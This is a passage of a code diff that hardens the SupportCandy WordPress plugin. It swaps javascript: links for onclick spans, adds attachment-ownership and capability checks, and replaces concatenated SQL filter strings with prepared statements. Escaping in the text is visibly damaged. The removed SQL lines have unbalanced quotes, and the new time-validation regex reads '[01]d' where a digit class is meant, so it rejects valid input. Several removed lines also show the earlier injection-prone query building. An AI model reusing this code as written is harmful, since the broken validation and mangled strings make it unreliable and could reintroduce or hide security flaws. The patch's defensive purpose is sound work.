 									<?php esc_attr_e( 'View thread!', 'supportcandy' ); ?>
-								</a>
+								</span>
 							</i>
 							<?php
 						}
@@ -651,9 +651,9 @@
 												esc_attr( $log->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 											);
 											?>
-											<a href="javascript:wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');" class="wpsc-link">
+											<span class="wpsc-link" onclick="wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');">
 												<?php esc_attr_e( 'View change', 'supportcandy' ); ?>
-											</a>
+											</span>
 											<?php
 											break;

--- a/supportcandy/includes/admin/tickets/class-wpsc-individual-ticket.php
+++ b/supportcandy/includes/admin/tickets/class-wpsc-individual-ticket.php
@@ -567,7 +567,7 @@
 							printf(
 								/* translators: %s: Sign in */
 								esc_attr__( '%s using email and password (registered user)', 'supportcandy' ),
-								'<a class="wpsc-link" href="javascript:wpsc_user_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</a>'
+								'<span class="wpsc-link" onclick="wpsc_user_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</span>'
 							);
 						?>
 					</p>
@@ -579,7 +579,7 @@
 								printf(
 									/* translators: %s: Sign in */
 									esc_attr__( '%s using email and one time password (guest user)', 'supportcandy' ),
-									'<a class="wpsc-link" href="javascript:wpsc_get_guest_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</a>'
+									'<span class="wpsc-link" onclick="wpsc_get_guest_sign_in();">' . esc_attr__( 'Sign in', 'supportcandy' ) . '</span>'
 								);
 							?>
 						</p>
@@ -1255,9 +1255,9 @@
 									esc_attr( $logs[0]->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 								);
 								?>
-								<a href="javascript:wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
+								<span class="wpsc-link" onclick="wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
 									<?php esc_attr_e( 'View thread!', 'supportcandy' ); ?>
-								</a>
+								</span>
 							</i>
 							<?php
 						}
@@ -1317,9 +1317,9 @@
 												esc_attr( $log->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 											);
 											?>
-											<a href="javascript:wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');" class="wpsc-link">
+											<span class="wpsc-link" onclick="wpsc_it_view_thread_log(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, <?php echo intval( $log->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_thread_log' ) ); ?>');">
 												<?php esc_attr_e( 'View change', 'supportcandy' ); ?>
-											</a>
+											</span>
 											<?php
 											break;

@@ -1601,6 +1601,18 @@

 			// description attachments.
 			$attachments = isset( $_POST['description_attachments'] ) ? array_filter( array_map( 'intval', $_POST['description_attachments'] ) ) : array();
+			$validated_attachments = array();
+			foreach ( $attachments as $id ) {
+
+				$attachment = new WPSC_Attachment( $id );
+				if ( ! $attachment->id ||
+					( $attachment->ticket_id && $attachment->is_active ) ) {
+					continue;
+				}
+
+				$validated_attachments[] = $id;
+			}
+			$attachments = $validated_attachments;

 			// submit reply.
 			$thread = WPSC_Thread::insert(
@@ -1706,6 +1718,18 @@

 			// description attachments.
 			$attachments = isset( $_POST['description_attachments'] ) ? array_filter( array_map( 'intval', $_POST['description_attachments'] ) ) : array();
+			$validated_attachments = array();
+			foreach ( $attachments as $id ) {
+
+				$attachment = new WPSC_Attachment( $id );
+				if ( ! $attachment->id ||
+					( $attachment->ticket_id && $attachment->is_active ) ) {
+					continue;
+				}
+
+				$validated_attachments[] = $id;
+			}
+			$attachments = $validated_attachments;

 			// submit note.
 			$thread = WPSC_Thread::insert(
@@ -2871,7 +2895,23 @@
 			}

 			$thread_attachments = isset( $_POST['thread_attachments'] ) ? array_filter( array_map( 'intval', $_POST['thread_attachments'] ) ) : array();
-			$new_attachments    = array();
+			$validated_attachments = array();
+			foreach ( $thread_attachments as $id ) {
+
+				$attachment = new WPSC_Attachment( $id );
+				if (
+				! $attachment->id ||
+				( $attachment->ticket_id && $attachment->ticket_id != self::$ticket->id ) ||
+				( $attachment->source_id && $attachment->source_id != $thread->id )
+				) {
+					continue;
+				}
+
+				$validated_attachments[] = $id;
+			}
+			$thread_attachments = $validated_attachments;
+
+			$new_attachments = array();
 			foreach ( $thread_attachments as $id ) {
 				$attachment            = new WPSC_Attachment( $id );
 				$attachment->is_active = 1;
@@ -3560,6 +3600,12 @@
 				wp_send_json_error( 'Unauthorized request!', 401 );
 			}

+			$current_user = WPSC_Current_User::$current_user;
+			$ms_advanced = get_option( 'wpsc-ms-advanced-settings' );
+			if ( ! ( $current_user->is_agent && $ms_advanced['agent-collision'] ) ) {
+				wp_send_json_error( new WP_Error( '001', 'Unauthorized!' ), 401 );
+			}
+
 			$id = isset( $_POST['ticket_id'] ) ? intval( $_POST['ticket_id'] ) : 0; // phpcs:ignore
 			if ( ! $id ) {
 				wp_send_json_error( new WP_Error( '001', 'Unauthorized!' ), 401 );
@@ -3570,6 +3616,11 @@
 				wp_send_json_error( new WP_Error( '002', 'Something went wrong!' ), 400 );
 			}

+			self::$ticket = $ticket;
+			if ( ! self::has_ticket_cap( 'view' ) ) {
+				wp_send_json_error( new WP_Error( '003', 'Unauthorized!' ), 401 );
+			}
+
 			$agent_id = isset( $_POST['agent_id'] ) ? intval( $_POST['agent_id'] ) : 0; // phpcs:ignore
 			if ( ! $agent_id ) {
 				wp_send_json_error( new WP_Error( '001', 'Unauthorized!' ), 401 );
--- a/supportcandy/includes/admin/tickets/class-wpsc-new-ticket.php
+++ b/supportcandy/includes/admin/tickets/class-wpsc-new-ticket.php
@@ -140,7 +140,7 @@
 									?>
 								</option>
 							</select>
-							<a class="wpsc-link" href="javascript:wpsc_get_change_create_as('<?php echo esc_attr( wp_create_nonce( 'wpsc_get_change_create_as' ) ); ?>');" style="margin-top:3px; width:fit-content;"><?php esc_attr_e( 'Add new', 'supportcandy' ); ?></a>
+							<span class="wpsc-link" onclick="wpsc_get_change_create_as('<?php echo esc_attr( wp_create_nonce( 'wpsc_get_change_create_as' ) ); ?>');" style="margin-top:3px; width:fit-content;"><?php esc_attr_e( 'Add new', 'supportcandy' ); ?></span>
 						</div>
 						<script>
 							jQuery('select.create-as').selectWoo({
--- a/supportcandy/includes/class-wpsc-functions.php
+++ b/supportcandy/includes/class-wpsc-functions.php
@@ -476,6 +476,119 @@
 		}

 		/**
+		 * Check whether given date is valid or not
+		 *
+		 * @param string $date - date string.
+		 * @param string $format - date format.
+		 * @return boolean
+		 */
+		public static function is_valid_date( $date, $format = 'Y-m-d' ) {
+			$d = DateTime::createFromFormat( $format, $date );
+			return $d && $d->format( $format ) === $date;
+		}
+
+		/**
+		 * Check whether given datetime is valid or not
+		 *
+		 * @param string $datetime - datetime string.
+		 * @return boolean
+		 */
+		public static function is_valid_datetime( $datetime ) {
+
+			if ( ! is_string( $datetime ) ) {
+				return false;
+			}
+			$datetime = trim( $datetime );
+			$formats = array(
+				'Y-m-d H:i',
+				'Y-m-d H:i:s',
+			);
+
+			foreach ( $formats as $format ) {
+				$dt = DateTime::createFromFormat( $format, $datetime );
+				if (
+					$dt !== false &&
+					$dt->format( $format ) === $datetime
+				) {
+					return true;
+				}
+			}
+			return false;
+		}
+
+		/**
+		 * Check whether given time is valid or not
+		 *
+		 * @param string $time - time string.
+		 * @return boolean
+		 */
+		public static function is_valid_time( $time ) {
+			if ( ! is_string( $time ) ) {
+				return false;
+			}
+
+			// Accept HH:MM or HH:MM:SS (24-hour).
+			return (bool) preg_match(
+				'/^(?:[01]d|2[0-3]):[0-5]d(?::[0-5]d)?$/',
+				$time
+			);
+		}
+
+		/**
+		 * Normalize date string to UTC date string
+		 *
+		 * @param string  $date - date string.
+		 * @param boolean $end_of_day - end of day flag.
+		 * @return string|false
+		 */
+		public static function normalize_date( $date, $end_of_day = false ) {
+			if ( ! is_string( $date ) ) {
+				return false;
+			}
+
+			$date = trim( $date );
+
+			$formats = array(
+				'Y-m-d H:i:s',
+				'Y-m-d',
+			);
+
+			foreach ( $formats as $format ) {
+				$dt = DateTime::createFromFormat( $format, $date );
+				if ( $dt instanceof DateTime ) {
+					if ( $format === 'Y-m-d' ) {
+						$dt->setTime(
+							$end_of_day ? 23 : 0,
+							$end_of_day ? 59 : 0,
+							$end_of_day ? 59 : 0
+						);
+					}
+					return self::get_utc_date_str( $dt->format( 'Y-m-d H:i:s' ) );
+				}
+			}
+
+			return false;
+		}
+
+		/**
+		 * Return SQL BETWEEN string
+		 *
+		 * @param string $column - column name.
+		 * @param string $from - from value.
+		 * @param string $to - to value.
+		 * @return string
+		 */
+		public static function sql_between( $column, $from, $to ) {
+			return sprintf(
+				"%s BETWEEN '%s' AND '%s'",
+				$column,
+				esc_sql( $from ),
+				esc_sql( $to )
+			);
+		}
+
+
+		/**
 		 * Get new ticket url
 		 *
 		 * @return string
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-checkbox.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-checkbox.php
@@ -316,37 +316,47 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])' . esc_sql( $val ) . '($|[|])'';
-					break;
+					if ( $val === '' ) {
+						$pattern = '(^|[|])^$($|[|])';
+					} else {
+						$pattern = '(^|[|])' . preg_quote( (string) $val, '/' ) . '($|[|])';
+					}
+
+					return $wpdb->prepare(
+						"{$column} RLIKE %s",
+						$pattern
+					);

 				case 'IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
-						}
+				case 'NOT IN':
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
 					}
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;

-				case 'NOT IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
+					$patterns = array();
+					foreach ( $val as $value ) {
+						if ( $value === '' ) {
+							$patterns[] = '^$';
+						} else {
+							$patterns[] = preg_quote( (string) $value, '/' );
 						}
 					}
-					$str = self::get_sql_slug( $cf ) . ' NOT RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;
+
+					$pattern = '(^|[|])(' . implode( '|', $patterns ) . ')($|[|])';
+					$operator = ( $compare === 'IN' ) ? 'RLIKE' : 'NOT RLIKE';
+					return $wpdb->prepare(
+						"{$column} {$operator} %s",
+						$pattern
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-date.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-date.php
@@ -342,61 +342,88 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
+
+			// Validate single-date inputs.
+			if ( in_array( $compare, array( '=', '<', '>', '<=', '>=' ), true ) ) {
+				if ( ! WPSC_Functions::is_valid_date( $val ) ) {
+					return '1=0';
+				}
+			}

 			switch ( $compare ) {

 				case '=':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$str  = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''';
-					break;
+
+					return $wpdb->prepare(
+						"{$column} BETWEEN %s AND %s",
+						$from,
+						$to
+					);

 				case '<':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
-					$arr  = array(
-						self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $from ) . ''',
-						self::get_sql_slug( $cf ) . ' != '0000-00-00 00:00:00'',
+
+					return $wpdb->prepare(
+						"({$column} < %s AND {$column} != '0000-00-00 00:00:00')",
+						$from
 					);
-					$str  = '(' . implode( ' AND ', $arr ) . ')';
-					break;

 				case '>':
-					$to  = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$str = self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $to ) . ''';
-					break;
+					$to = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
+
+					return $wpdb->prepare(
+						"{$column} > %s",
+						$to
+					);

 				case '<=':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$arr  = array(
-						self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $from ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''',
+
+					return $wpdb->prepare(
+						"(({$column} <= %s OR {$column} BETWEEN %s AND %s)
+						AND {$column} != '0000-00-00 00:00:00')",
+						$from,
+						$from,
+						$to
 					);
-					$str  = '((' . implode( ' OR ', $arr ) . ') AND ' . self::get_sql_slug( $cf ) . ' != '0000-00-00 00:00:00')';
-					break;

 				case '>=':
 					$from = WPSC_Functions::get_utc_date_str( $val . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val . ' 23:59:59' );
-					$arr  = array(
-						self::get_sql_slug( $cf ) . esc_sql( $compare ) . ''' . esc_sql( $to ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''',
+
+					return $wpdb->prepare(
+						"({$column} >= %s OR {$column} BETWEEN %s AND %s)",
+						$to,
+						$from,
+						$to
 					);
-					$str  = '(' . implode( ' OR ', $arr ) . ')';
-					break;

 				case 'BETWEEN':
+					if (
+						! is_array( $val ) ||
+						! WPSC_Functions::is_valid_date( $val['operand_val_1'] ?? '' ) ||
+						! WPSC_Functions::is_valid_date( $val['operand_val_2'] ?? '' )
+					) {
+						return '1=0';
+					}
+
 					$from = WPSC_Functions::get_utc_date_str( $val['operand_val_1'] . ' 00:00:00' );
 					$to   = WPSC_Functions::get_utc_date_str( $val['operand_val_2'] . ' 23:59:59' );
-					$str  = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''';
-					break;
+
+					return $wpdb->prepare(
+						"{$column} BETWEEN %s AND %s",
+						$from,
+						$to
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-datetime.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-datetime.php
@@ -344,30 +344,50 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;

-			switch ( $compare ) {
+			$column = self::get_sql_slug( $cf );
+			if ( ! $column ) {
+				return '1=0';
+			}
+
+			$allowed_ops = array( '=', '<', '>', '<=', '>=', 'BETWEEN' );
+			if ( ! in_array( $compare, $allowed_ops, true ) ) {
+				return '1=0';
+			}

-				case '=':
-				case '<':
-				case '>':
-				case '<=':
-				case '>=':
-					$from = WPSC_Functions::get_utc_date_str( $val . ':00' );
-					$str  = self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $from ) . ''';
-					break;
-
-				case 'BETWEEN':
-					$from = WPSC_Functions::get_utc_date_str( $val['operand_val_1'] . ':00' );
-					$to   = WPSC_Functions::get_utc_date_str( $val['operand_val_2'] . ':00' );
-					$str  = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $from ) . '' AND '' . esc_sql( $to ) . ''';
-					break;
+			if ( in_array( $compare, array( '=', '<', '>', '<=', '>=' ), true ) ) {
+				if ( ! is_string( $val ) || ! WPSC_Functions::is_valid_datetime( $val ) ) {
+					return '1=0';
+				}
+				$datetime = WPSC_Functions::get_utc_date_str( $val . ':00' );
+				return $wpdb->prepare(
+					"{$column} {$compare} %s",
+					$datetime
+				);
+			}

-				default:
-					$str = '1=1';
+			if ( 'BETWEEN' === $compare ) {
+				if (
+					! is_array( $val ) ||
+					! isset( $val['operand_val_1'], $val['operand_val_2'] ) ||
+					! WPSC_Functions::is_valid_datetime( $val['operand_val_1'] ) ||
+					! WPSC_Functions::is_valid_datetime( $val['operand_val_2'] )
+				) {
+					return '1=0';
+				}
+
+				$from = WPSC_Functions::get_utc_date_str( $val['operand_val_1'] . ':00' );
+				$to   = WPSC_Functions::get_utc_date_str( $val['operand_val_2'] . ':00' );
+
+				return $wpdb->prepare(
+					"{$column} BETWEEN %s AND %s",
+					$from,
+					$to
+				);
 			}

-			return $str;
+			return '1=0';
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-email.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-email.php
@@ -329,37 +329,79 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					if ( ! is_string( $val ) || ! is_email( $val ) ) {
+						return '1=0';
+					}

-				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						$val
+					);

+				case 'IN':
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$emails = array();
+					foreach ( $val as $email ) {
+						if ( is_string( $email ) && is_email( $email ) ) {
+							$emails[] = $email;
+						}
+					}
+
+					if ( empty( $emails ) ) {
+						return '1=0';
+					}
+
+					$placeholders = implode( ', ', array_fill( 0, count( $emails ), '%s' ) );
+					$operator     = ( $compare === 'IN' ) ? 'IN' : 'NOT IN';
+
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$operator} ({$placeholders})",
+						$emails
+					);

 				case 'LIKE':
-					$arr = array();
-					$val = explode( PHP_EOL, $val );
-					foreach ( $val as $term ) {
-						$term  = str_replace( '*', '%', trim( $term ) );
-						$arr[] = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) LIKE '%' . esc_sql( $term ) . '%'';
+					if ( ! is_string( $val ) ) {
+						return '1=0';
 					}
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;
+
+					$terms = array_filter( array_map( 'trim', explode( PHP_EOL, $val ) ) );
+					$likes = array();
+					$args  = array();
+
+					foreach ( $terms as $term ) {
+
+						$term = str_replace( '*', '%', $term );
+						$term = $wpdb->esc_like( $term );
+
+						if ( $term === '' ) {
+							continue;
+						}
+
+						$likes[] = "CONVERT({$column} USING utf8) LIKE %s";
+						$args[]  = '%' . $term . '%';
+					}
+
+					if ( empty( $likes ) ) {
+						return '1=0';
+					}
+
+					return $wpdb->prepare(
+						'(' . implode( ' OR ', $likes ) . ')',
+						$args
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-multi-select.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-multi-select.php
@@ -316,37 +316,58 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );
+
+			// Helper to escape regex safely.
+			$escape_regex = static function ( $value ) {
+				return preg_quote( (string) $value, '/' );
+			};

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])' . esc_sql( $val ) . '($|[|])'';
-					break;
+					if ( $val === '' ) {
+						$pattern = '^$';
+					} else {
+						$pattern = '(^|[|])' . $escape_regex( $val ) . '($|[|])';
+					}
+
+					return $wpdb->prepare(
+						"{$column} RLIKE %s",
+						$pattern
+					);

 				case 'IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
-						}
+				case 'NOT IN':
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
 					}
-					$str = self::get_sql_slug( $cf ) . ' RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;

-				case 'NOT IN':
-					foreach ( $val as $index => $value ) {
-						if ( $value == '' ) {
-							$val[ $index ] = '^$';
+					$patterns = array();
+
+					foreach ( $val as $value ) {
+						if ( $value === '' ) {
+							$patterns[] = '^$';
+						} else {
+							$patterns[] = preg_quote( (string) $value, '/' );
 						}
 					}
-					$str = self::get_sql_slug( $cf ) . ' NOT RLIKE '(^|[|])(' . implode( '|', esc_sql( $val ) ) . ')($|[|])'';
-					break;
+
+					$pattern = '(^|[|])(' . implode( '|', $patterns ) . ')($|[|])';
+
+					// IMPORTANT: map operator correctly.
+					$sql_operator = ( $compare === 'NOT IN' ) ? 'NOT RLIKE' : 'RLIKE';
+
+					return $wpdb->prepare(
+						"{$column} {$sql_operator} %s",
+						$pattern
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-number.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-number.php
@@ -359,8 +359,10 @@
 		 * @return string
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );

-			$str = '';
 			switch ( $compare ) {

 				case '=':
@@ -368,22 +370,42 @@
 				case '>':
 				case '<=':
 				case '>=':
-					$str = self::get_sql_slug( $cf ) . $compare . esc_sql( $val );
-					break;
+					// STRICT numeric enforcement.
+					if ( ! is_numeric( $val ) ) {
+						return '1=0';
+					}
+
+					return $wpdb->prepare(
+						"{$column} {$compare} %f",
+						(float) $val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN(' . implode( ', ', esc_sql( $val ) ) . ')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN(' . implode( ', ', esc_sql( $val ) ) . ')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$placeholders = array();
+					$values       = array();
+
+					foreach ( $val as $number ) {
+						if ( ! is_numeric( $number ) ) {
+							return '1=0';
+						}
+						$placeholders[] = '%f';
+						$values[]       = (float) $number;
+					}
+
+					$placeholder_sql = implode( ',', $placeholders );
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$compare} ({$placeholder_sql})",
+						$values
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-radio-button.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-radio-button.php
@@ -304,27 +304,33 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						$val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$placeholders = implode( ', ', array_fill( 0, count( $val ), '%s' ) );
+					$operator     = ( $compare === 'IN' ) ? 'IN' : 'NOT IN';
+
+					return $wpdb->prepare(
+						"{$column} {$operator} ({$placeholders})",
+						...array_values( $val )
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-single-select.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-single-select.php
@@ -306,27 +306,37 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						(string) $val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return ( $compare === 'IN' ) ? '1=0' : '1=1';
+					}
+
+					$placeholders = implode(
+						',',
+						array_fill( 0, count( $val ), '%s' )
+					);
+
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$compare} ({$placeholders})",
+						array_values( $val )
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-text-field.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-text-field.php
@@ -329,37 +329,61 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+
+			$column = self::get_sql_slug( $cf );

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . '='' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} = %s",
+						(string) $val
+					);

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$placeholders = array_fill( 0, count( $val ), '%s' );
+
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$compare} (" . implode( ',', $placeholders ) . ')',
+						$val
+					);

 				case 'LIKE':
-					$arr = array();
-					$val = explode( PHP_EOL, $val );
-					foreach ( $val as $term ) {
-						$term  = str_replace( '*', '%', trim( $term ) );
-						$arr[] = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) LIKE '%' . esc_sql( $term ) . '%'';
+					$terms = explode( PHP_EOL, (string) $val );
+					$sql   = array();
+					$args  = array();
+
+					foreach ( $terms as $term ) {
+						$term = trim( $term );
+						if ( $term === '' ) {
+							continue;
+						}
+
+						$term = str_replace( '*', '%', $term );
+						$term = '%' . $wpdb->esc_like( $term ) . '%';
+
+						$sql[]  = "CONVERT({$column} USING utf8) LIKE %s";
+						$args[] = $term;
+					}
+
+					if ( empty( $sql ) ) {
+						return '1=0';
 					}
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;
+
+					return $wpdb->prepare(
+						'(' . implode( ' OR ', $sql ) . ')',
+						$args
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-textarea.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-textarea.php
@@ -310,33 +310,73 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
-
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
 			switch ( $compare ) {

 				case 'IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
-
 				case 'NOT IN':
-					$str = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) NOT IN('' . implode( '', '', esc_sql( $val ) ) . '')';
-					break;
+					if ( ! is_array( $val ) || empty( $val ) ) {
+						return '1=0';
+					}
+
+					$values = array();
+
+					foreach ( $val as $item ) {
+						if ( is_string( $item ) && $item !== '' ) {
+							$values[] = wp_strip_all_tags( $item );
+						}
+					}
+
+					if ( empty( $values ) ) {
+						return '1=0';
+					}
+
+					$placeholders = implode( ', ', array_fill( 0, count( $values ), '%s' ) );
